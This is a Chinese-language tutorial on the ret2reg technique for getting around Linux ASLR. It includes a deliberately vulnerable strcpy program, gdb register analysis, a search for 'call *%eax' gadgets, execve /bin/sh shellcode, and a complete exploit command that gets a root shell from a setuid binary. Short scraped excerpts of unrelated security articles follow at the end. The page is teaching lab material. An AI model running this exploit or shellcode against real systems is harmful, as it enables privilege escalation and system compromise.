使用ret2reg攻击绕过地址混淆

前面介绍的攻击方法,EIP注入的地址必须是一个确定地址,否则无法攻击成功,为了与本文介绍的攻击方法形成比对,我将前面的方法称为ret2addr(return-to-address,返回到确定地址执行的攻击方法)。

安全人员为保护免受ret2addr攻击,想到了一个办法,那就是地址混淆技术。该述语英文称为 Address Space Randomize Layout,直译为地址随机化。该技术将栈,堆和动态库空间全部随机化。在32位系统上,随机量在64M范围;而在64位系统,它的随机量在2G范围,因此原来的ret2addr技术无法攻击成功。

很快攻击者想到另一种攻击方法ret2reg,即return-to-register,返回到寄存地址执行 的攻击方法。

它的原理很简单

1) 分析和调试汇编,看溢出函返回时哪个寄存值指向溢出缓冲区空间

2)然后反编译二进制,查找call reg 或者jmp reg指令,将该指令所在的地址注入到 EIP

3)再在reg指向的空间上注入Shellcode

此攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后在的运行过程中不会修改。尽管栈空间具有随机性,但该寄存器的值与缓冲区地址的关系是确定的,在随机地址之上,建立了必然的地址关系。一句话就是 在随机性上找到地址的确定性关系。

攻击准备

打开Linux的地址混淆功能:

echo 2 > /proc/sys/kernel/randomize_va_space

漏洞程序

编写如下的程序,源文件命名为stack2.c

#include <stdio.h>
#include <string.h>  

void evilfunction(char *input) {  

    char buffer[512];
    strcpy(buffer, input);
}  

int main(int argc, char **argv) {  

    evilfunction(argv[1]);  

    return 0;
} 

代码一目了然,有缓冲区溢出问题,不作过多解释。

编译命令如下:

$ gcc -Wall -g -o stack2 stack2.c -z execstack -m32 -fno-stack-protector

对准EIP

还是老方法,第一步首先是对准EIP,由于buffer变量的大小是512字节,那我们的填充内容 从 512个A和BBBB开始,每次增加4个A,直到将BBBB注入到EIP。下面成功将BBBB注入EIP的结果:

$ ./stack2 $(perl -e ‘printf "A"x524 . "BBBB"‘)

$ gdb ./stack2 core -q

Reading symbols from /home/ivan/exploit/stack2...done.

[New LWP 3979]

warning: Can‘t read pathname for load map: Input/output error.

Core was generated by `./stack2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA‘.

Program terminated with signal 11, Segmentation fault.

#0  0x42424242 in ?? ()

(gdb) info registers

eax            0xfff94ed0 -438576

ecx            0xfff96500 -432896

edx            0xfff950d8 -438056

ebx            0xf7758ff4 -143290380

esp            0xfff950e0 0xfff950e0

ebp           0x41414141 0x41414141

esi             0x0 0

edi            0x0 0

eip            0x424242420x42424242

eflags       0x10202 [ IF RF ]

cs              0x23 35

ss              0x2b 43

ds             0x2b 43

es             0x2b 43

fs              0x00

gs             0x6399

确定哪个寄存器与缓冲区有确定性的关系

如果你一步一步地按ret2addr攻击方法操作并攻击成功,那么你会发现此时的esp就是指向注入EIP的下一个地址。如果你能在程序中找到call esp或者jmp esp这样的指令,就可以将EIP注入该指令地址,并且在EIP后面注入shellcode,那就彻底绕过地址混淆保护方法。

可惜的是,整个程序都找到这样的指令。OK,那我们退而求其次……

认真观察一下evilfunction函数的反编译:

(gdb) disassemble evilfunction
Dump of assembler code for function evilfunction:
   0x080483e4 <+0>:	push   %ebp
   0x080483e5 <+1>:	mov    %esp,%ebp
   0x080483e7 <+3>:	sub    $0x218,%esp
   0x080483ed <+9>:	mov    0x8(%ebp),%eax
   0x080483f0 <+12>:	mov    %eax,0x4(%esp)
   0x080483f4 <+16>:	lea    -0x208(%ebp),%eax
   0x080483fa <+22>:	mov    %eax,(%esp)  <-- strcpy的第一参数,buffer保存在eax中
   0x080483fd <+25>:	call   0x8048300 <[email protected]>
   0x08048402 <+30>:	leave
   0x08048403 <+31>:	ret
End of assembler dump.

发现调用strcpy函数前,eax指向buffer地址;但是eax属于caller-save寄存器,strcpy函数是否会将它改掉呢?我们就以对准EIP生成的core文件,分析一下strcpy函数中是否更改了eax:

生成core是,eax 值为0xfff94ed0,使用x命令查看它是否指向一块内容为AAAA的内存:

(gdb) x/40xw
0xfff94ed0 - 0x10

0xfff94ec0:0xfff94ed00xfff962f80xf779353c0x00000020

0xfff94ed0:0x414141410x414141410x414141410x41414141

0xfff94ee0:0x414141410x414141410x414141410x41414141

0xfff94ef0:0x414141410x414141410x414141410x41414141

0xfff94f00:0x414141410x414141410x414141410x41414141

0xfff94f10:0x414141410x414141410x414141410x41414141

0xfff94f20:0x414141410x414141410x414141410x41414141

0xfff94f30:0x414141410x414141410x414141410x41414141

0xfff94f40:0x414141410x414141410x414141410x41414141

0xfff94f50:0x414141410x414141410x414141410x41414141

果然eax就是buffer缓冲区的地址。

查找call eax/jmp eax指令

前文提到,已将地址混淆地址打开,就算找到call eax/jmp eax指令的地址也是随机的,每次运行不确定,造成攻击不成功。

前文提到使用 echo 2 > /proc/sys/kernel/randomize_va_space 命令将地址混淆技术启用,但该技术对栈空间,堆地址和动态库加载空间都进行了混淆,唯独没有对程序做地址混淆。

事实上Linux gcc编译器提供了-fPIE选项,但用它来编译,可使程序空间做地址混淆,造成整个进程地址混淆。但一般的开源软件和商用Linux发行商的服务进程并没有使用-fPIE进行安全增加,还是留下了可利用空间。注意到,
stack2在编译时没有使用-fPIE选项。

使用objdump和grep命令查看是否有与eax/esp相关的转跳指令:

$ objdump -d stack2 | grep *%eax

80483df: ff d0                call   *%eax

80484cb: ff d0                call   *%eax

$ objdump -d stack2 | grep *%esp

找到两条  call *%eax指令。

好,就利用0x80483df地址上的call *%eax指令,将\xdf\x83\x04\x08注入到EIP,让函数返回时,执行call *%eax,跳到缓冲区的开始地址去执行;接着我们小心翼翼地址将shellcode放到buffer开始地址即可。

因此注入内容格式如下:

ShellCode(N) + A(524-N) + \xdf\x83\x04\x08

攻击测试

如何编写本地shellcode 中介绍了打开sh的shellcode,就使用这个shellcode进行测试。该shellcode内容:

\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80

长度为25个字节,即上述注入内容格式中的N为25:

\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80
+ Ax499 + \xdf\x83\x04\x08

为了更方法验证攻击功,我们将stack2的owner设置为root,并带S位,让普通用户也能执行。

$ sudo chown root:root ./stack2

$ sudo chmod a+s ./stack2

最后时刻:

$ ./stack2 $(perl -e ‘printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\xdf\x83\x04\x08"‘)

# whoami

root

#

击攻成功,打开新sh,从普通用户权限提升成root.

小结

其实ret2reg方法,并不是总能攻击成功了,如果程序strcpy或者后面的代码复用了eax寄存,那eax跟buffer就没有关毛钱关系,无法建立确定性。

ret2reg方法核心是:找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令;如果两者条件满足,则存利用空间

时间: 2024-08-23 09:48:26

使用ret2reg攻击绕过地址混淆的相关文章

阿里云ECS后台利用“安全组”屏蔽恶意攻击ip地址

来源:http://www.yujzw.com/cswzjs/pingbiipdizhi.html 在阿里云后台的云盾监控—>威胁—>攻击,会发现每天有大量的恶意攻击,存在大量GET请求,导致服务器资源浪费无用消耗. 最近7天攻击类型 仔细查看攻击来源的信息,发现99%以上的攻击ip地址,都存在历史攻击记录,如下图: 攻击者详情 我感觉阿里云完全有能力判断和屏蔽攻击者IP地址,保护客户的利益(ps:利用历史攻击次数判断是否屏蔽IP),但阿里云没有这么做.咨询了阿里云技术工作人员,可以通过安全组

python 执行shell 命令,自动化添加攻击IP地址到iptables

通过python执行shell命令的方法有4种,在这里介绍一种常用的. os.system. os.popen. commands. subprocess 接下来介绍subprocess的使用 通过python 日志分析,获取到攻击源IP地址,收集写入到mysql数据库中 mysql如下: iptables.py 脚本 #!/usr/bin/env python # -*- coding:utf-8 -*- import os import MySQLdb import subprocess t

使用ret2libc攻击方法绕过数据执行保护

前面介绍的攻击方法大量使用Shellcode,核心思想是修改EIP和注入Shellcode,在函数返回时跳到Shellcode去执行.要防止这种攻击,最有效的办法就是让攻击者注入的Shellcode无法执行,这就是数据执行保护(Data Execution Prevention, DEP)安全机制的初衷. 数据执行保护机制 DEP述语是微软公司提出来的,在window XP操作系统开始支持该安全特性.DEP特性需要硬件页表机制来提供支持. X86 32位架构页表上没有NX(不可执行)位,只有X8

各种保护机制绕过手法

一.绕过GS编译选项 ●原理:通过VC++编译器在函数前后添加额外的处理代码,前部分用于由伪随机数生成的cookie并放入.data节段,当本地变量初始化,就会向栈中插入cookie,它位于局部变量和返回地址之间 ●绕过方法: 1.猜测/计算cookie Reducing the Effective Entropy of GS Cookies:http://www.uninformed.org/?v=7&a=2&t=html 至从覆盖SEH的方法出现后,这种方法目前已基本不用了,它没有后面

XSS 和 CSRF 攻击

网站安全的基础有三块: (1) 防范中间人攻击 (TLS mim, man in the middle) 当主机A.和机B通信时,都由主机C来为其"转发",而A.B之间并没有真正意思上的直接通信,他们之间的信息传递同C作为中介来完成,但是A.B却不会意识到,而以为它们之间是在直接通信.这样攻击主机在中间成为了一个转发器,C可以不仅窃听A.B的通信还可以对信息进行篡改再传给对方,C便可以将恶意信息传递给A.B以达到自己的目的. 防范的方法是: 必须对认证过程的传输者认证过程的本身真实性进

DDOS、CC、sql注入,跨站攻击防御方法

web安全常见攻击解读--DDos.cc.sql注入.xss.CSRF 一,DDos https://www.cnblogs.com/sochishun/p/7081739.html#4111858 http://nic.swu.edu.cn/s/nic/thyt/20180604/2555404.html 1.1 DDos介绍 DDoS是英文Distributed Denial of Service的缩写,意即“分布式拒绝服务”.分布式拒绝服务攻击发起后,攻击网络包就会从很多DOS攻击源(俗称

Kali Linux 渗透测试之拒绝服务攻击及防御

作为渗透测试人员,有时候需要对客户的系统进行DDOS攻击测试,那么这个时候就需要我们有一款合格的测试工具.而在Kali Linux上就集成了一些DDOS测试工具供测试者使用,下面就简单介绍一些测试工具. kali下的拒绝服务攻击: D(D)OS........................................1 yersinia......................................2 hping3................................

常见的DoS攻击的原理和防御

1.SYN洪水攻击 要理解dos攻击,首先要理解TCP连接的三次握手过程(Three-wayhandshake). 在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接.   第一次握手:建立连接时,客户端发送SYN包((SYN=i)到服务器,并进入SYN SEND状态,等待服务器确认;  第二次握手:服务器收到SYN包,必须确认客户的SYN (ACK=i+1 ),同时自己也发送一个SYN包((SYN=j)}即SYN+ACK包,此时服务器进入SYN_RECV状态;[1]

CSRF 攻击原理和防御方法

1. CSRF攻击原理 CSRF(Cross site request forgery),即跨站请求伪造.我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息.而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”. 一般而且存在XSS漏洞的网站,也极有可能存在CSRF漏洞.因为CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的.所以其实CSRF是以XSS为基础